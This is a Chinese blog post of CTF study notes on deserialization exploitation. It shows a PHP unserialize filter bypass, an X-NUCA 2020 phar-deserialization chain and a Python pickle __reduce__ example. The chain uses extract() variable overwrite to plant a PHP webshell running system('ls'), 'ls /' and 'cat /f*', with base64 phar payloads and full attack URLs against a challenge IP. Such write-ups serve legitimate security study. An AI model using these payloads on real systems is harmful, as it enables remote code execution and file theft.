在is_valid函数中对ascii码进行一定检测，有限定范围 但是我们生成的序列化中存在\0字符，需要通过S的hex机制进行绕过检测

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op = 2;
    protected $filename = 'flag.php';
    protected $content;

    // function __construct() {
    //     $op = "1";
    //     $filename = "/tmp/tmpfile";
    //     $content = "Hello World!";
    //     $this->process();
    // }

    // public function process() {
    //     if($this->op == "1") {
    //         $this->write();
    //     } else if($this->op == "2") {
    //         $res = $this->read();
    //         $this->output($res);
    //     } else {
    //         $this->output("Bad Hacker!");
    //     }
    // }

    // private function write() {
    //     if(isset($this->filename) && isset($this->content)) {
    //         if(strlen((string)$this->content) > 100) {
    //             $this->output("Too long!");
    //             die();
    //         }
    //         $res = file_put_contents($this->filename, $this->content);
    //         if($res) $this->output("Successful!");
    //         else $this->output("Failed!");
    //     } else {
    //         $this->output("Failed!");
    //     }
    // }

    // private function read() {
    //     $res = "";
    //     if(isset($this->filename)) {
    //         $res = file_get_contents($this->filename);
    //     }
    //     return $res;
    // }

    // private function output($s) {
    //     echo "[Result]: <br>";
    //     echo $s;
    // }

    // function __destruct() {
    //     if($this->op === "2")
    //         $this->op = "1";
    //     $this->content = "";
    //     $this->process();
    // }

}

// echo urlencode(serialize(new FileHandler));
// O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D
// 因为上传的时候存在检测ascii码存在一定的范围

$ser = serialize(new FileHandler);

echo $ser;
echo "\n";

function decorate($s){
    $arr = explode(':',$s);
    for($i = 0; $i < count($arr); $i++){
        if(strpos($arr[$i],"\0") != false){
            echo $arr[$i]."\n";
            echo $arr[$i-2]."\n";
        }
    }
}

decorate($ser);



// function is_valid($s) {
//     for($i = 0; $i < strlen($s); $i++)
//         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
//             return false;
//     return true;
// }

// if(isset($_GET{'str'})) {

//     $str = (string)$_GET['str'];
//     if(is_valid($str)) {
//         $obj = unserialize($str);
//     }

// }

输出：

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}
"*op";i
{s
"*filename";s
2;s
"*content";N;}
"flag.php";s

发现确实找到了小s 然后再写一个字符替换

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op = 2;
    protected $filename = 'flag.php';
    protected $content;

    // function __construct() {
    //     $op = "1";
    //     $filename = "/tmp/tmpfile";
    //     $content = "Hello World!";
    //     $this->process();
    // }

    // public function process() {
    //     if($this->op == "1") {
    //         $this->write();
    //     } else if($this->op == "2") {
    //         $res = $this->read();
    //         $this->output($res);
    //     } else {
    //         $this->output("Bad Hacker!");
    //     }
    // }

    // private function write() {
    //     if(isset($this->filename) && isset($this->content)) {
    //         if(strlen((string)$this->content) > 100) {
    //             $this->output("Too long!");
    //             die();
    //         }
    //         $res = file_put_contents($this->filename, $this->content);
    //         if($res) $this->output("Successful!");
    //         else $this->output("Failed!");
    //     } else {
    //         $this->output("Failed!");
    //     }
    // }

    // private function read() {
    //     $res = "";
    //     if(isset($this->filename)) {
    //         $res = file_get_contents($this->filename);
    //     }
    //     return $res;
    // }

    // private function output($s) {
    //     echo "[Result]: <br>";
    //     echo $s;
    // }

    // function __destruct() {
    //     if($this->op === "2")
    //         $this->op = "1";
    //     $this->content = "";
    //     $this->process();
    // }

}

// echo urlencode(serialize(new FileHandler));
// O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D
// 因为上传的时候存在检测ascii码存在一定的范围

$ser = serialize(new FileHandler);

echo $ser;
echo "\n";

function decorate($s){
    $arr = explode(':',$s);
    for($i = 0; $i < count($arr); $i++){
        if(strpos($arr[$i],"\0") != false){
            echo $arr[$i]."\n";
            echo $arr[$i-2]."\n";
            $arr[$i-2] = str_replace('s','S',$arr[$i-2]);
            $arr[$i] = str_replace("\0",'\00',$arr[$i]); //注意区分单引号双引号
            echo "替换后:".$arr[$i]."\n";
            echo "替换后:".$arr[$i-2]."\n";
        }
    }
    //拼接回来
    return join(':',$arr);
}

echo decorate($ser);



// function is_valid($s) {
//     for($i = 0; $i < strlen($s); $i++)
//         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
//             return false;
//     return true;
// }

// if(isset($_GET{'str'})) {

//     $str = (string)$_GET['str'];
//     if(is_valid($str)) {
//         $obj = unserialize($str);
//     }

// }

输出：

O:11:"FileHandler":3:{s:5:" * op";i:2;s:11:" * filename";s:8:"flag.php";s:10:" * content";N;}
" * op";i
{s
替换后:"\00*\00op";i
替换后:{S
" * filename";s
2;s
替换后:"\00*\00filename";s
替换后:2;S
" * content";N;}
"flag.php";s
替换后:"\00*\00content";N;}
替换后:"flag.php";S
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:8:"flag.php";S:10:"\00*\00content";N;}

之所以会产生这些不可见0字符 是因为protected和private属性的原因导致 所以需要我们进行替换

传入后查看页面源代码成功获取flag：

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GnFhdfW6-1689937146844)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230719083811161.png)]

同时这道题目也可以装瞎 把protected的属性改成public进行攻击

但是当时这道题目在读取文件析构函数切目录的时候不在当前目录 需要获取其绝对路径进行读取

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    public $op = 2;
    public $filename = '/proc/self/cmdline';
    public $content;

}

$ser = serialize(new FileHandler);
echo $ser;

第二种方法 提前结束 快速析构

把属性值修改

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

改为

O:11:"FileHandler":4:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

或者删除结尾的大括号

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;

phar例题：

X-NUCA 2020 Final

  1. 变量覆盖读template.php
  2. 变量覆盖写入无损phar文件
  3. 变量覆盖触发phar反序列化

题目：

<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
    mkdir($sandbox);
}

include_once('template.php');

//                key     value
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');


//看似多余的东西往往是解题的关键
if(isset($_GET['var']) && is_array($_GET['var'])) {
    extract($_GET['var'], EXTR_OVERWRITE);
} else {
    highlight_file(__file__);
    die();
}

if(isset($_GET['tp'])) {
    $tp = $_GET['tp'];
       //  判断tp是否为template中的key
    if (array_key_exists($tp, $template) === FALSE) {
        echo "No! You only have 3 template to reader";
        die();
    }
    //读取文件
    $content = file_get_contents($template[$tp]);
    $temp = new Template($content);
} else {
    echo "Please choice one template to reader";
}
?>

小技巧： 在源代码中看似没有一点用处的东西可能会成为解题的关键 比如在这里面存在着extract方法，可以用于变量覆盖

分析题目我们发现 想要读取文件 只能是在template数组中进行读取 但是其内容已经写好固定了，所以需要我们对template数组进行变量覆盖

对var数组进行操作 去读取template.php文件的内容

​ key value

array(‘template’ => array(‘tp1’ => ‘template.php’))

把template数组中的tp1这个key 的 value换成 template.php

即传参?var[template][tp1]=template.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FYn4xakS-1689937146844)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230720161827369.png)]

对upload后面的开始访问：http://122.114.252.87:1120/uploads/7cddc639132e5953bf969cc3c9b08fd7/67c8a41ae1c9406576160aaf0370816e.html

得到一段php代码

<?php
class Template{
	public $content;
	public $pattern;
	public $suffix;

	public function __construct($content){
		$this->content = $content;
		$this->pattern = "/{{([a-z]+)}}/";
		$this->suffix = ".html";
	}

	public function __destruct() {
		$this->render();
	}
	public function render() {
        //必须利用里面的break跳出死循环 才能到危险函数
		while (True) {
			if(preg_match($this->pattern, $this->content, $matches)!==1) 
				break;
			global ${$matches[1]};
			
			if(isset(${$matches[1]})) {
				$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
			} 
			else{
				break;
			}
		}
        //suffic的长度必须大于5
		if(strlen($this->suffix)>5) {
			echo "error suffix";
			die();
		}
		$filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
        //危险函数 需要走过来嗷
		file_put_contents($filename, $this->content);
		echo "Your html file is in " . $filename;
	}
}

?>

因为在这个类中存在获取文件的方法 但是没有反序列化的途径 所以很明显嗷 这是个phar的问题

根据phar的条件进行解题探索

file_put_contents： phar可利用的函数

先构造pop链生成phar文件

本地测试时注意修改我们的php.ini的配置文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nT0j6xSU-1689937146845)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230720173305736.png)]

避大坑！！！！ 可能我们修改了之后 但是在vscode中无法操作成功 原因在于版本不匹配

姿势1：修改ini之后 直接在本地访问该网页 然后就会在同级目录生成对应文件

姿势2：在cmd中输入php -v查看一下电脑环境的默认php版本

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YwHfqLt7-1689937146846)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230720191437876.png)]

然后在phpStudy中修改对于版本的ini文件进行访问

想要file_get_contents读取到我们的phar.phar的内容有两种方法：

  1. file_get_contents可以发起http请求 只需要我们把phar文件写到服务器上就可以
  2. file_get_contents读取data://协议

data://的使用方式：

首先构造好反序列化的payload 然后在尾部添加上phar的八股文

<?php
class Template{
	public $content = "<?php system('ls');?>";
	public $pattern;
	public $suffix = ".php";

}
$o = new Template();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();  

?>

这样执行成功后会在本地生成一个phar的文件

然后我们读取里面的信息

<?php
$ph = file_get_contents('phar.phar');
echo $ph."\n";   //很多乱码 所以用base64加密一下
echo base64_encode($ph);
?>

out：

GIF89a<?php __HALT_COMPILER(); ?>
�fO:8:"Template":3:{s:7:"content";s:21:"<?php system('ls');?>";s:7:"pattern";N;s:6:"suffix";s:4:".php";}test.txty�d~ضtest�jKn' Ii�Fi۶� ޅF�GBMB
R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqcAAAAAQAAABEAAAABAAAAAABmAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjIxOiI8P3BocCBzeXN0ZW0oJ2xzJyk7Pz4iO3M6NzoicGF0dGVybiI7TjtzOjY6InN1ZmZpeCI7czo0OiIucGhwIjt9CAAAAHRlc3QudHh0BAAAAHkXuWQEAAAADH5/2LYBAAAAAAAAdGVzdOpqS24nIEkYaaBGadu2kiDehUaeAgAAAEdCTUI=

data读取：

data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqcAAAAAQAAABEAAAABAAAAAABmAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjIxOiI8P3BocCBzeXN0ZW0oJ2xzJyk7Pz4iO3M6NzoicGF0dGVybiI7TjtzOjY6InN1ZmZpeCI7czo0OiIucGhwIjt9CAAAAHRlc3QudHh0BAAAAHkXuWQEAAAADH5/2LYBAAAAAAAAdGVzdOpqS24nIEkYaaBGadu2kiDehUaeAgAAAEdCTUI=

那么现在我们如何让题目所在服务器读取我们的data？可以回想到该题目的第一个界面

我们使用变量覆盖的方法读取内容 ！！注意嗷 一定要url编码一下哈

http://122.114.252.87:1120/?var[template][tp1]=data%3A%2F%2Ftext%2Fplain%3Bbase64%2CR0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8%2BDQqcAAAAAQAAABEAAAABAAAAAABmAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjIxOiI8P3BocCBzeXN0ZW0oJ2xzJyk7Pz4iO3M6NzoicGF0dGVybiI7TjtzOjY6InN1ZmZpeCI7czo0OiIucGhwIjt9CAAAAHRlc3QudHh0BAAAAHkXuWQEAAAADH5%2F2LYBAAAAAAAAdGVzdOpqS24nIEkYaaBGadu2kiDehUaeAgAAAEdCTUI%3D&tp=tp1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4sEZNd8O-1689937146847)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230720194145648.png)]

写入成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GpoeUYlL-1689937146847)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230720194233782.png)]

触发phar：

phar:///var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/6c50d8d7eaa92dc4998351838da62dcc.html

继续使用刚刚的file_get_contents函数加变量覆盖进行读取

http://122.114.252.87:1120/?var[template][tp1]=phar%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fuploads%2F7cddc639132e5953bf969cc3c9b08fd7%2F6c50d8d7eaa92dc4998351838da62dcc.html&tp=tp1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-t9Nxgi8q-1689937146848)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230720195229334.png)]

执行成功 成功获得php后缀

因为我的命令是ls 所以访问后结果是列出的内容

测试phpinfo

<?php
class Template{
	public $content = "<?php phpinfo();?>";
	public $pattern;
	public $suffix = ".php";

}
$o = new Template();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();  

?>

http://122.114.252.87:1120/?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqZAAAAAQAAABEAAAABAAAAAABjAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjE4OiI8P3BocCBwaHBpbmZvKCk7Pz4iO3M6NzoicGF0dGVybiI7TjtzOjY6InN1ZmZpeCI7czo0OiIucGhwIjt9CAAAAHRlc3QudHh0BAAAALoiuWQEAAAADH5/2LYBAAAAAAAAdGVzdPzuNzRrPw2POwCmprLd6Oy5KqEDAgAAAEdCTUI=&tp=tp1

/var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/2d867d52da656654f238ad3f2eceda1d.html

http://122.114.252.87:1120/?var[template][tp1]=phar:///var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/2d867d52da656654f238ad3f2eceda1d.html&tp=tp1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JdY2v6z1-1689937146848)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230720200737330.png)]

测试根目录

<?php
class Template{
	public $content = "<?php system('ls /');?>";
	public $pattern;
	public $suffix = ".php";

}
$o = new Template();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();  

?>

http://122.114.252.87:1120/?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqeAAAAAQAAABEAAAABAAAAAABoAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjIzOiI8P3BocCBzeXN0ZW0oJ2xzIC8nKTs/PiI7czo3OiJwYXR0ZXJuIjtOO3M6Njoic3VmZml4IjtzOjQ6Ii5waHAiO30IAAAAdGVzdC50eHQEAAAA3yO5ZAQAAAAMfn/YtgEAAAAAAAB0ZXN0ytJDUfSL2VfkbJ2LEtfOtvBCIMUCAAAAR0JNQg==&tp=tp1

/var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/ed5cb36b19cdb7f89f98caaa83efda37.html

http://122.114.252.87:1120/?var[template][tp1]=phar:///var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/ed5cb36b19cdb7f89f98caaa83efda37.html&tp=tp1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gkdI1riv-1689937146848)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230720201210491.png)]

获取flag

<?php
class Template{
	public $content = "<?php system('cat /f*');?>";
	public $pattern;
	public $suffix = ".php";

}
$o = new Template();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();  

?>

http://122.114.252.87:1120/?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqjAAAAAQAAABEAAAABAAAAAABtAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjI4OiI8P3BocCBzeXN0ZW0oJ2NhdCAvZmxhZycpOz8+IjtzOjc6InBhdHRlcm4iO047czo2OiJzdWZmaXgiO3M6NDoiLnBocCI7fQgAAAB0ZXN0LnR4dAQAAAB1JblkBAAAAAx+f9i2AQAAAAAAAHRlc3QyIp89T4AF5NafJYGx4f8/1grOagIAAABHQk1C&tp=tp1

/var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/50d6dc5cc571407544cd2bff51338b7e.html

http://122.114.252.87:1120/?var[template][tp1]=phar:///var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/50d6dc5cc571407544cd2bff51338b7e.html&tp=tp1

步骤是对的可能没有写flag嘿嘿 到此结束！

0720 Pickle反序列化

what is Pickle？

  • 是python的一个模块，内存中的东西因为断电等原因容易丢失，可以将对象以文件的形式存放在磁盘上 实现持久化存储

  • 只能在python中使用 import pickle

  • 序列化后的数据可读性非常差 人一般无法识别

  • cPickle模块是C语言实现的

序列化

pickle.dump(obj, file[,protocol])

如果加s dumps 返回字符串 否则是到文件中

序列化对象，将结果数据流写入到文件对象中

参数protocol是序列化模式，默认为0，表示以文本的形式序列化，还可以是1或2，表示以二进制的形式序列化

举例

import pickle

class People(object):
    def __init__(self, name="test"):
        self.name = name

    def say(self):
        print("Hello ! My friends")

a = People()
c = pickle.dumps(a)
print(c)

out: 很多不可见字符

b'\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06People\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x04test\x94sb.'

生成的规则涉及到PVM：用来解释字节码的解释引擎

反序列化

pickle.load(file)

如果加s dumps 返回字符串 否则是到文件中

反序列化对象。将文件中的数据解析为一个python对象；

需要注意：使用时需要让python能够找到类的定义 否则会报错

组成

Pickle是一门基于栈的编程语言，有不同的编写方式，本质是一个轻量级的PVM（在Java中等同于JVM，用于解释字节码的解释引擎）

有三个部分组成：

  1. 指令处理器（Instruction processor）

​ 从数据流读取操作码和参数，对其进行解释处理 指令处理器会循环执行整个过程，不断改变stack(堆栈)和memo(备忘录)区域的值 直到遇到‘.'这个结束符号。这时，最终停留在栈顶的值将会被作为反序列化对象返回。

  1. 栈区（stack）

​ 由python的列表list实现，作为流数据处理过程中的暂存区，在不断的进出栈过程中完成对数据流的反序列化操作，并最终在栈顶生成反序列化的结果。

  1. 内存区（memo）

​ 由python的字典dict实现，可以看作是数据索引或者标记，为PVM的整个生命周期提供存储功能，即将反序列化完成的数据以key-value的形式储存在memo中以便使用。

在第一部分中的IP常用操作码：

  • c：读取本行的内容作为模块名module，读取下一行内容作为对象名object，然后将module.object作为可调用对象压入栈中
  • (：将标记对象（mark）压入栈中，用于确定命令执行的位置，搭配t指令一起使用以便产生一个元组
  • S: 后跟字符串在引号内 直到出现换行符 PVM将读取的内容压入栈中
  • t : 从栈中向外弹出数据，弹射顺序从栈顶一点点出到元组依次后排 直到弹出左括号 此时弹出内容形成一个元组 然后再压入栈中
  • R : 将之前压入栈中的元组（t）和可调用对象（c）全部弹出，然后将该元组作为可调用参数的对象并执行该对象。最终将结果压入到栈中。
  • . : 结束整个Pickle反序列化过程

举例：

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GfyhQWMq-1689937146849)(C:\Users\jayq\AppData\Roaming\Tencent\QQ\Temp\D823F75339136FEFE0981EBDC5EB497D.jpg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VhehCryl-1689937146849)(C:\Users\jayq\AppData\Roaming\Tencent\QQ\Temp\E9CE7CC7BB2AD3B5E4FAA31AA76F4EE6.jpg)]

漏洞利用：利用__reduce__()

在IP指令中R的作用与object.__reduce__()关系密切：选择栈上的第一个对象作为函数，第二个对象作为参数（必须为元组），然后调用该函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TcWzBiLI-1689937146849)(C:\Users\jayq\AppData\Roaming\Tencent\QQ\Temp\2FC9F9BDBCAD1A7659D54E0E3F3A5B8A.jpg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dBvTyijd-1689937146850)(C:\Users\jayq\AppData\Roaming\Tencent\QQ\Temp\0BE208B513D3CE83804AD47986C93AA1.jpg)]

实际代码：

import pickle
import os
class A(object):
    def __reduce__(self):
        a = 'whoami'
        return (os.system, (a,))

o = A()
#序列化
test = pickle.dumps(o)
#反序列化
pickle.loads(test)

#本地运行结果即为电脑名称

做题步骤

  1. 找 pickle反序列化位点
  2. 本地重写reduce方法，生成反序列化字符串
  3. 触发反序列化

与php反序列化的区别

php中能做什么由网站里面的class类写得方法决定

但是pickle只要存在反序列化的位点就可以任意执行，因为本地可以重写reduce方法

例题

例：师傅们用题愉快哈~

我是哈皮，祝您每天嗨皮！我们下期再见~

哈皮Superman
关注
专栏目录
【网络安全 | CTF】记一次PHP序列化反序列化解题详析
等风来
08-24 4254
代码开门见山给出backdoor函数，而该函数在popko类的call方法中调用故需要运行call方法而call方法是在对象上下文中调用不可访问的方法时触发的故需要调用不可访问的方法 而恰巧destruct方法中并不存在a对象和a函数故需要运行destruct方法而destruct方法在对象被销毁时触发 如何实现对象被销毁呢？ 当序列化后的语句被反序列化之后，对象会被销毁，从而触发destruct方法 所以思路就是： 在pipimi类中构造一个对象，当pipimi中的destru
ctf+php反序列化,CTF中的PHP反序列化漏洞简单分析
weixin_39965881的博客
04-02 1845
本帖最后由 icq_8bf67fe65 于 2018-9-2 21:20 编辑本文原创作者：Versi0n，本文属i春秋原创奖励计划，未经许可禁止转载！一、前言在ctf比赛中，经常会遇到php反序列化漏洞的题，今天就来简单分析下该漏洞的正确食用姿势~二、正文1.基础知识PHP序列化：php为了方便进行数据的传输，允许把复杂的数据结构，压缩到一个字符串中，使用serialize()函数。PHP反序列...
ctfshow—web入门—php反序列化
m0_74013288的博客
11-12 833
虽然序列化时会调用sleep（）函数，给username和password赋值为空，但是反序列化时会进入__unserialize中，在最后进行反序列化的时候又会重现赋值，所以可以不用管这个函数，，，invoke函数也没有调用，所以不用管。分析代码，发现需要使ctfShowUser这个类里面的username和password不一样，因为是序列化，对象的属性（变量）和构造方法内的变量赋值我们是可控的，所以我们将username和password改成不一样的就行。查看页面源代码，可以找到我们反序列化的入口；
PHP反序列化学习笔记（CTF）
最新发布
就是我的博客
08-26 1093
ctf中php反序列化学习
从一道CTF题学习PHP反序列化漏洞-附件资源
03-02
从一道CTF题学习PHP反序列化漏洞-附件资源
CTF_Web：反序列化学习笔记（二）CTF经典考题由浅至深
AFCC_的博客（Web_Dog）
08-16 7341
0x00 CTF中的反序列化题目 这类题目中主要是利用反序列化各种魔术方法的绕过或调用，从而构造符合条件的序列化字符串，完成特定的功能，在这一点上对于整个代码段的执行流程要很清楚。我们先从最简单的开始看起。 0x01 攻防世界unserialize3 题目显示的源码为： class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } ?code= 在这里我们可以看到只有一个魔术方法，而__w
原理+实践掌握(PHP反序列化和Session反序列化)
bylfsj的博客
03-22 1784
<p></p><h2 id="toc-0">前言：</h2> 最近又接触了几道php反序列化的题目，觉得对反序列化的理解又加深了一点，这次就在之前的学习的基础上进行补充。 0x00:PHP序列化 函数 : serialize() 所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表...
PHP反序列化CTF例题
bwxzdjn的博客
03-25 6071
用代码审计的方式分析一道典型的存在PHP反序列化漏洞的案例，加深对魔术方法等相关知识的理解。另外，还会和xss跨站脚本的知识进行融合。
CTF-反序列化
qq_61774705的博客
08-15 4631
反序列化
bfengj#CTF#thinkphp5.0.24反序列化rce1
07-25
thinkphp5.0.24反序列化rceModel是抽象类protected $append = [];// $value值，作为call函数引用的第二变量p
ctf之php序列化,CTF——Web——PHP序列化和反序列化
weixin_35126200的博客
04-01 993
PHP 序列化和反序列化：1，序列化(串行化)：是将变量转换为可保存或传输的字符串的过程；反序列化(反串行化)：就是在适当的时候把这个字符串再转化成原来的变量使用。这两个过程结合起来，可以轻松地存储和传输数据，使程序更具维护性。常见的php系列化和反系列化方式主要有：serialize，unserialize；json_encode，json_decode在进行类的序列化时 私有属性 会加 空白...
浅析PHP反序列化中过滤函数使用不当导致的对象注入问题
12-20
在[0CTF] piapiapia的挑战中，问题在于序列化字符串的长度增加了。攻击者可以通过构造一个比原始长度长的序列化字符串，使反序列化过程创建额外的对象或属性。在该案例中，目标是更改`photo`字段的值为`config.php`...
ctf中php反序列化汇总
2302_78903258的博客
07-19 1746
解题过程：首先需要找到最后的危险函数，看到了在Vox里面的include。然后想要使用include就要调用fun这个函数想要调用fun就要触发__invoke这个魔术方法__invoke() //当脚本尝试将对象调用为函数时触发作为函数就是添加了一个小括号去触发，发现在Petal类中__get方法具备这个调用函数的功能，所以需要去触发__get这个方法。
CTF-反序列化(持续更新)
m0_74317362的博客
07-27 1273
魔术方法__construct() 当一个对象创建时自动调用__destruct() 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)__sleep() 使**用serialize()函数时触发__wakeup 使用unserialse()**函数时会自动调用__toString 当一个对象被当作一个字符串被调用。__call() 在对象上下文中调用不可访问的方法时触发__callStatic() 在静态上下文中调用不可访问的方法时触发。
CTF php反序列化总结
m0_53567065的博客
11-17 4890
前言：本⼈⽔平不⾼，只能做⼀些类似收集总结这样的⼯作，本篇文章是我自己在学php反序列化写的一篇姿势收集与总结，有不对的地方欢迎师傅们批评指正~定义：序列化就是将对象转换成字符串。反序列化相反，数据的格式的转换对象的序列化利于对象的保存和传输，也可以让多个文件共享对象。漏洞原理：未对用户输入的序列化字符串进行检测，导致攻击者可以控制反序列化的过程，从而导致代码执行，SQL注入，目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。常用魔术方法
PHP反序列化【原理+CTF实战】
2301_80127209的博客
04-19 1335
申明：本账号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法。序列化的目的是方便数据的传输和存储，在PHP中，序列化和反序列化一般用做缓存，比如session缓存，cookie等.进行绕过，（在赛后我把题给Ssh1y写了，他的利用方式是nc反弹个shell，属实是开拓了我的眼界)。环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等。”，这显然就无法继续利用了。编码后在前部加7个1。
ctfshow 反序列化
..
03-07 3573
web254 读代码后发现题目要求传入的值等于类里面的值 ?username=xxxxxx&password=xxxxxx web255 这里的话得有点改变，得让$this->返回的值为true，所以得构造一下链子如下 <?php class ctfShowUser{ public $isVip; public function __construct(){ $this->isVip=true; } } $a=new ctfShowUser()...
ctfshow————反序列化
qq_45655564的博客
06-30 922
web254 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__
ctf php反序列化
06-07
CTF中的PHP反序列化攻击主要针对使用PHP的Web应用程序，攻击者可以利用PHP反序列化漏洞来执行恶意代码或者获取敏感信息。攻击者通常会通过构造恶意的序列化数据来触发漏洞，从而实现攻击的目的。 在实际攻击中，攻击者通常会在Cookie、GET或POST参数中注入恶意的序列化数据，然后通过触发漏洞来执行恶意代码或获取敏感信息。为了防止这种攻击，应用程序开发人员需要对输入进行严格的过滤和验证，并且尽可能避免使用反序列化功能。此外，还可以使用专门的安全框架来防止这种攻击，比如PHP的Suhosin扩展。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
